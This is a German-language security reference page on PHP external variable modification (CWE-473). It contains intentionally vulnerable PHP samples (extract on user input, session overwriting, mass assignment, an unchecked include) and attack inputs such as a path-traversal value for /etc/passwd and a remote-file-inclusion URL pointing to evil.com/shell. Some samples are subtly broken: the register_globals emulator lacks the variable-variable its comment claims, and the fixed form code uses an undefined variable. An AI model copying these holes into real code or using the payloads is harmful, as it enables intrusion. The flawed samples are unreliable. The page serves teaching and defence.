PHP Externe Variablenmodifikation
Beschreibung
PHP Externe Variablenmodifikation ist eine Schwachstelle, bei der eine PHP-Anwendung sich nicht ordnungsgemäß gegen die Modifikation von Variablen aus externen Quellen wie Query-Parametern, POST-Daten oder Cookies schützt. Diese Schwachstelle ist besonders gefährlich aufgrund von PHPs historischer register_globals-Funktion (jetzt veraltet und entfernt), die automatisch Variablen aus Benutzereingaben erstellte, und bleibt relevant, wenn Entwickler manuell ähnliche Muster implementieren oder unsichere Variablen-Extraktionsmethoden verwenden. Externe Variablenmodifikation kann Anwendungen zahlreichen Schwächen aussetzen, die sonst nicht existieren würden.
Risiko
PHP externe Variablenmodifikation kann zu Authentifizierungsumgehung, Autorisierungsumgehung, Remote-File-Inclusion und beliebiger Codeausführung führen. Wenn Angreifer interne Variablen durch Manipulation von Request-Parametern kontrollieren können, können sie Sicherheitsflags überschreiben, Dateipfade ändern oder die Anwendungslogik modifizieren. Legacy-Anwendungen oder solche, die unsichere Kodierungsmuster wie extract($_GET) verwenden, sind besonders anfällig. Das Risiko ist schwerwiegend, weil Angreifer oft vollständige Kontrolle über das Anwendungsverhalten erlangen können, indem sie einfach Request-Parameter hinzufügen.
Lösung
Identifizieren Sie alle extern kontrollierbaren Variablen und übernehmen Sie Namenskonventionen, um sie hervorzuheben (z.B. Präfix mit $_input_). Führen Sie angemessene Validierung durch, wenn Sie Eingaben von außerhalb der Vertrauensgrenzen akzeptieren. Deaktivieren Sie register_globals in der PHP-Konfiguration (standardmäßig deaktiviert in PHP 5.4+, entfernt in PHP 8.0+). Verwenden Sie niemals extract() mit Benutzereingaben oder verwenden Sie es mindestens mit dem EXTR_SKIP-Flag. Wenn Sie einen register_globals-Emulator implementieren, vermeiden Sie sorgfältig Variablen-Extraktion und dynamische Evaluierungs-Schwachstellen. Verwenden Sie explizite Variablenzuweisung anstelle von automatischer Registrierung von Benutzereingaben.
Häufige Auswirkungen
| Auswirkung | Details |
|---|---|
| Integrität | Umfang: Integrität Anwendungsdaten modifizieren - Angreifer können interne Variablen modifizieren, das Anwendungsverhalten ändern, Sicherheitseinstellungen überschreiben oder die Geschäftslogik manipulieren. |
| Zugriffskontrolle | Umfang: Zugriffskontrolle Schutzmechanismus umgehen - Authentifizierungs- und Autorisierungsprüfungen können durch Überschreiben von Flag-Variablen umgangen werden, die Zugriffsentscheidungen steuern. |
Beispielcode
Anfälliger Code
<?php
// Anfällig: register_globals-Emulator
// Dieses Muster war in älteren PHP-Anwendungen üblich
// Anfällig: Extrahiert alle GET-Variablen in den globalen Scope
foreach ($_GET as $key => $value) {
$key = $value; // Variable-Variable-Zuweisung
}
// Angreifer kann jetzt JEDE Variable kontrollieren durch Übergabe in URL
// Beispiel: ?authenticated=1&admin=true&debug=1
// Anfällig: Authentifizierungsprüfung
if (!isset($authenticated)) {
$authenticated = false;
}
if ($authenticated) {
// Angreifer umgeht durch Besuch von: ?authenticated=1
include('admin_panel.php');
}
?>
<?php
// Anfällig: Verwendung von extract() mit Benutzereingabe
function vulnerable_process_form() {
// Extrahiert ALLE POST-Daten als Variablen
extract($_POST); // GEFÄHRLICH!
// Angreifer POST-et: user_role=admin&price=0.01&validated=true
// Diese werden zu lokalen Variablen: $user_role, $price, $validated
if ($validated) {
process_order($price); // Verwendet angreifer-kontrollierten Preis
}
}
?>
<?php
// Anfällig: Nicht initialisierte Variable kombiniert mit externer Eingabe
function vulnerable_file_include() {
// $template ist vor diesem Punkt nicht initialisiert
if ($_GET['use_custom']) {
$template = $_GET['template'];
}
// Anfällig: Wenn 'use_custom' false ist aber Angreifer übergibt
// ?template=../../etc/passwd, könnte älteres PHP es trotzdem verwenden
include($template . '.php');
// Mit register_globals: ?template=http://evil.com/shell
// Resultiert in Remote File Inclusion
}
?>
<?php
// Anfällig: Session-Daten-Überschreibung
session_start();
// Anfällig: Überschreibt Session mit POST-Daten
foreach ($_POST as $key => $value) {
$_SESSION[$key] = $value;
}
// Angreifer POST-et: user_id=1&role=admin&logged_in=true
// Übernimmt Session und erhält Admin-Zugriff
if ($_SESSION['logged_in'] && $_SESSION['role'] == 'admin') {
show_admin_dashboard();
}
?>
<?php
// Anfällig: Variable-Variable in Schleife
function vulnerable_config_loader($params) {
foreach ($params as $key => $value) {
// Anfällig: Erstellt Variablen aus benutzer-kontrollierbarem Array
global $key;
$key = $value;
}
}
// Angreifer kontrolliert $params über manipulierte Eingabe
// Kann jede globale Variable überschreiben einschließlich:
// - Datenbank-Anmeldedaten
// - Sicherheitseinstellungen
// - Include-Pfade
// Anfällig: Automatische Objekt-Property-Zuweisung
class VulnerableUser {
public $username;
public $role = 'guest';
public $is_admin = false;
public function __construct($data) {
// Anfällig: Mass Assignment aus Benutzereingabe
foreach ($data as $key => $value) {
if (property_exists($this, $key)) {
$this->$key = $value;
}
}
}
}
// Angreifer POST-et: username=hacker&role=admin&is_admin=true
$user = new VulnerableUser($_POST);
// $user->role ist jetzt 'admin', $user->is_admin ist true
?>
Korrigierter Code
<?php
// Korrigiert: Explizite Variablenbehandlung
function secure_process_form() {
// Korrigiert: Explizit nur erwartete Variablen zuweisen
$name = isset($_POST['name']) ? sanitize($_POST['name']) : '';
$email = isset($_POST['email']) ? filter_var($_POST['email'], FILTER_VALIDATE_EMAIL) : '';
$quantity = isset($_POST['quantity']) ? (int)$_POST['quantity'] : 1;
// Korrigiert: Sicherheitssensitive Werte nur von Serverseite
$price = get_product_price_from_db($product_id); // Nicht aus Benutzereingabe
$user_role = $_SESSION['role'] ?? 'guest'; // Aus Session, nicht Request
// Mit bekannten, kontrollierten Werten validieren und verarbeiten
if (empty($name) || empty($email)) {
return ['error' => 'Pflichtfelder fehlen'];
}
process_order($name, $email, $quantity, $price);
}
?>
<?php
// Korrigiert: Wenn extract() verwendet werden muss, sichere Optionen verwenden
function safer_extract($data, $allowed_keys) {
// Korrigiert: Whitelist-Ansatz
$safe_data = array_intersect_key($data, array_flip($allowed_keys));
// Korrigiert: EXTR_SKIP verwenden um existierende Variablen nicht zu überschreiben
extract($safe_data, EXTR_SKIP);
return $safe_data;
}
// Verwendung
$allowed = ['first_name', 'last_name', 'email'];
$user_input = safer_extract($_POST, $allowed);
// Nur erlaubte Schlüssel werden extrahiert, kann Sicherheitsvariablen nicht überschreiben
?>
<?php
// Korrigiert: Sichere Datei-Einbindung
function secure_file_include() {
// Korrigiert: Whitelist erlaubter Templates
$allowed_templates = ['home', 'about', 'contact', 'products'];
// Korrigiert: Template vom Benutzer abrufen, gegen Whitelist validieren
$template = $_GET['template'] ?? 'home';
if (!in_array($template, $allowed_templates, true)) {
$template = 'home'; // Standard auf sicheren Wert
}
// Korrigiert: Pfad ohne Benutzereingabe in Pfadkomponenten konstruieren
$template_path = __DIR__ . '/templates/' . $template . '.php';
// Korrigiert: Verifizieren dass Datei existiert und im erwarteten Verzeichnis liegt
$real_path = realpath($template_path);
$template_dir = realpath(__DIR__ . '/templates/');
if ($real_path && strpos($real_path, $template_dir) === 0) {
include($real_path);
} else {
include(__DIR__ . '/templates/error.php');
}
}
?>
<?php
// Korrigiert: Sichere Session-Behandlung
session_start();
// Korrigiert: Nur bestimmte Session-Schlüssel dürfen gesetzt werden
function update_session_safely($input, $allowed_keys) {
foreach ($allowed_keys as $key) {
if (isset($input[$key])) {
$_SESSION['user_' . $key] = sanitize($input[$key]);
}
}
}
// Korrigiert: Explizite Whitelist für Session-Updates
$allowed_updates = ['preferences', 'language', 'timezone'];
update_session_safely($_POST, $allowed_updates);
// Korrigiert: Sicherheitskritische Session-Daten werden nur vom Authentifizierungscode gesetzt
// $_SESSION['user_id'], $_SESSION['role'], $_SESSION['logged_in']
// werden NIEMALS aus Benutzereingabe gesetzt
?>
<?php
// Korrigiert: Sichere Objektinitialisierung
class SecureUser {
public string $username;
private string $role = 'guest';
private bool $is_admin = false;
// Korrigiert: Whitelist zuweisbarer Eigenschaften
private const ASSIGNABLE = ['username', 'email', 'display_name'];
public function __construct(array $data) {
// Korrigiert: Nur gelistete Eigenschaften zuweisen
foreach (self::ASSIGNABLE as $key) {
if (isset($data[$key])) {
$this->$key = $this->sanitize($data[$key]);
}
}
// Korrigiert: role und is_admin können nur intern gesetzt werden
}
public function setRole(string $role): void {
// Korrigiert: Gegen erlaubte Rollen validieren
if (in_array($role, ['guest', 'user', 'moderator', 'admin'], true)) {
$this->role = $role;
$this->is_admin = ($role === 'admin');
}
}
public function getRole(): string {
return $this->role;
}
private function sanitize($value): string {
return htmlspecialchars(strip_tags($value), ENT_QUOTES, 'UTF-8');
}
}
// Angreifer POST-et: username=hacker&role=admin&is_admin=true
$user = new SecureUser($_POST);
// $user->role bleibt 'guest', $user->is_admin bleibt false
// Nur username wurde gesetzt (falls angegeben)
?>
CVE-Beispiele
- CVE-2000-0860 - Versteckte Formvariablen wurden über register_globals exponiert, was beliebigen Dateizugriff ermöglichte.
- CVE-2001-0854 - Fehlplatziertes Vertrauen in
$PHP_SELF-Variable führte zu Sicherheitsumgehung. - CVE-2002-0764 - Remote File Inclusion durch modifizierte Variablen.
- CVE-2001-1025 - Schlüsselvariablen-Modifikation in nicht initialisierten Skripten ermöglichte Umgehung.
- CVE-2003-0754 - Authentifizierungsumgehung durch Array-Modifikation.
Referenzen
- MITRE Corporation. "CWE-473: PHP External Variable Modification." https://cwe.mitre.org/data/definitions/473.html
- PHP Manual. "Using Register Globals." https://www.php.net/manual/en/security.globals.php
- OWASP. "PHP Security Cheat Sheet."
- CAPEC-77. "Manipulating User-Controlled Variables."